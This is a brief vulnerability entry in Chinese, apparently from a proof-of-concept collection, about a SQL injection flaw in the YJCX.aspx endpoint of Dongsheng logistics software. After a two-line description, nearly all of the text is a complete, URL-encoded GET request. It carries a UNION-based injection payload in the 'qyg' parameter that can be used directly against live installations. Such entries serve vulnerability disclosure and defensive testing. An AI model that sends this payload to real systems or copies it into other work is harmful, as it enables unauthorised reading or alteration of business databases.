Description
东胜物流软件是一款致力于为客户提供IT支撑的 SOP，帮助客户大幅提高工作效率，降低各个环节潜在风险的物流软件。东胜物流软件 YJCX.aspx 接口存在SQL注入漏洞。恶意攻击者可以利用该漏洞执行恶意的注入语句，获取敏感数据或篡改数据库
东胜物流软件 /Areas/Mobile/Views/YunJia/YJCX.aspx SQL 注入漏洞
PoC
GET /Areas/Mobile/Views/YunJia/YJCX.aspx?1=1&qyg=%27%29+AS+ZdUb+WHERE+5550%3D5550+UNION+ALL+SELECT+NULL%2CNULL%2CCHAR%28113%29%2BCHAR%28113%29%2BCHAR%28106%29%2BCHAR%28107%29%2BCHAR%28113%29%2BCHAR%28114%29%2BCHAR%2887%29%2BCHAR%2898%29%2BCHAR%2875%29%2BCHAR%28119%29%2BCHAR%2897%29%2BCHAR%2868%29%2BCHAR%2877%29%2BCHAR%2882%29%2BCHAR%2871%29%2BCHAR%28106%29%2BCHAR%28113%29%2BCHAR%2875%29%2BCHAR%28120%29%2BCHAR%2867%29%2BCHAR%2888%29%2BCHAR%28115%29%2BCHAR%2875%29%2BCHAR%2898%29%2BCHAR%28113%29%2BCHAR%2885%29%2BCHAR%2879%29%2BCHAR%28100%29%2BCHAR%28107%29%2BCHAR%2878%29%2BCHAR%28115%29%2BCHAR%2872%29%2BCHAR%28100%29%2BCHAR%28112%29%2BCHAR%2884%29%2BCHAR%2877%29%2BCHAR%28102%29%2BCHAR%2865%29%2BCHAR%2872%29%2BCHAR%28111%29%2BCHAR%2866%29%2BCHAR%2898%29%2BCHAR%28114%29%2BCHAR%2872%29%2BCHAR%28105%29%2BCHAR%28113%29%2BCHAR%28118%29%2BCHAR%28107%29%2BCHAR%28112%29%2BCHAR%28113%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL--+qtGu&xhg=&cgs=&ksrq=&jsrq= HTTP/1.1
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.